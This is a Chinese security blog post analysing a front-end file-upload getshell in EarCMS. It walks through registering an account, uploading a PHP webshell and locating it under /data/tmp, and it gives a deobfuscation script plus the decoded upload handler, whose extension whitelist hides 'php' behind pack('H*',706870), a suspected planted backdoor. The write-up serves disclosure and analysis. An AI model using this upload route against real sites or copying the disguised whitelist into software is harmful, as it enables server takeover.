毫无套路的某cms前台getshell分析

k1   ·   发表于 2019-08-07 09:43:40   ·   漏洞文章

前言

毫无套路的在cnvd上看见了一个漏洞,毫无套路的想着分析一下

一脸懵逼的Getshell

官网地址:http://www.earcms.net/

先到官网把源码下载下来搭建一下,结果发现源码是混淆过的

这种混淆方式很常见,解密也不难,因为已经知道是前台文件上传导致的getshell,所以暂时不需要全部解密出来一点点分析,暂时只关注他的上传点。

毫无套路的搭建完成后我们看到了他这炫酷的界面

不出意外的发现了免费注册的字样,受到吸引.jpg

毫无套路的注册了一个test用户

毫无套路的登录

毫无套路的发现了一个大大的上传点

毫无套路的开启burp

大家都是成年人,动作色qing一点,先传个shell试试

掏出了我的最新版免杀一切支持php7.x的php-webshell-venom4.0生成了一个免杀马

???

黑人问号脸,上传成功了吗

翻了翻目录下的文件日期,发现shell躺在了\data\tmp目录下,名字是时间戳

浏览器访问一下

???就这样没了???

本来还以为有什么上传绕过,身份伪造,反序列化什么的蛇皮操作,结果就直接没过滤上传成功了。。。。

无心插柳还是有意为之

心里想着这种没有后缀过滤上传的cms是怎么活到现在的

毕竟是篇分析,还是看看他的代码逻辑是怎么写的

可以看到上传点是这个文件

/source/pack/upload/index-uplog.php

这种代码混淆的最简单的解密办法是把eval改成echo,一直改到最后

这里附上一个抄来的解密脚本

<?php
$filename=$_GET['f'];//要解密的文件
$lines = file($filename);//0,1,2行

//第一次base64解密
$content="";
if(preg_match("/O0O0000O0\('.*'\)/",$lines[1],$y))
{
    $content=str_replace("O0O0000O0('","",$y[0]);
    $content=str_replace("')","",$content);
    $content=base64_decode($content);
}
//第一次base64解密后的内容中查找密钥
$decode_key="";
if(preg_match("/\),'.*',/",$content,$k))
{
    $decode_key=str_replace("),'","",$k[0]);
    $decode_key=str_replace("',","",$decode_key);
}
//查找要截取字符串长度
$str_length="";
if(preg_match("/,\d*\),/",$content,$k))
{
    $str_length=str_replace("),","",$k[0]);
    $str_length=str_replace(",","",$str_length);
}
//截取文件加密后的密文
$Secret=substr($lines[2],$str_length);
//echo $Secret;

//直接还原密文输出
file_put_contents(rtrim($filename, '.php') . "_decode.php", "<?php\n" . base64_decode(strtr(
    $Secret,
    $decode_key,
    'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
)) ."?>");

?>

解密结果:

<?php

if(!empty($_FILES)){
$filepart = pathinfo($_FILES['app']['name']);
$extension = strtolower($filepart['extension']);
if(in_array($extension,array('ipa','apk','mobileconfig',pack('H*',706870)))){
$time = $_POST['time'];
preg_match('/^(\d+\-\d+)$/',$time) or exit('-1');
$dir = '../../../data/tmp/'.$time.'/';
if(!is_dir($dir)){
@mkdir($dir,0777,true);
}
$file = '../../../data/tmp/'.$time.'.'.$extension;
@move_uploaded_file($_FILES['app']['tmp_name'],$file);
if($extension == 'ipa'){
include_once '../zip/zip.php';
$zip = new PclZip($file);
$zip->extract(PCLZIP_OPT_PATH,$dir,PCLZIP_OPT_BY_PREG,'/^Payload\/.*.app\/Info.plist$/');
$zip->extract(PCLZIP_OPT_PATH,$dir,PCLZIP_OPT_BY_PREG,'/^Payload\/.*.app\/embedded.mobileprovision$/');
$zip->extract(PCLZIP_OPT_PATH,$dir,PCLZIP_OPT_BY_PREG,'/^Payload\/.*.app\/(?!.*\/).*.png$/');
}
echo "{'extension':'$extension','time':'$time'}";
}else{
echo '-1';
}
}
?>

就是一个上传功能

但是注意看这一句:

意思是文件后缀必须是array('ipa','apk','mobileconfig',pack('H*',706870)这个数组里面的,否则就上传失败返回-1

毫无套路的解密pack的内容后发现是php

这也就解释了为什么用户可以直接前台上传一个php文件

最后

测试的版本为官方发布的最新版

至于为什么会故意加上一个php上传后缀并且还用pack混淆一下这个就不好说了

有可能是官方服务器被黑客控制在源码里投毒

也有可能是没有买官方授权使用免费版的话就给你加上这样一个后门

涉及利益的东西,咱也不敢说,咱也不敢问



转自先知社区

打赏我,让我更有动力~

0 条回复   |  直到 2019-8-7 | 3106 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.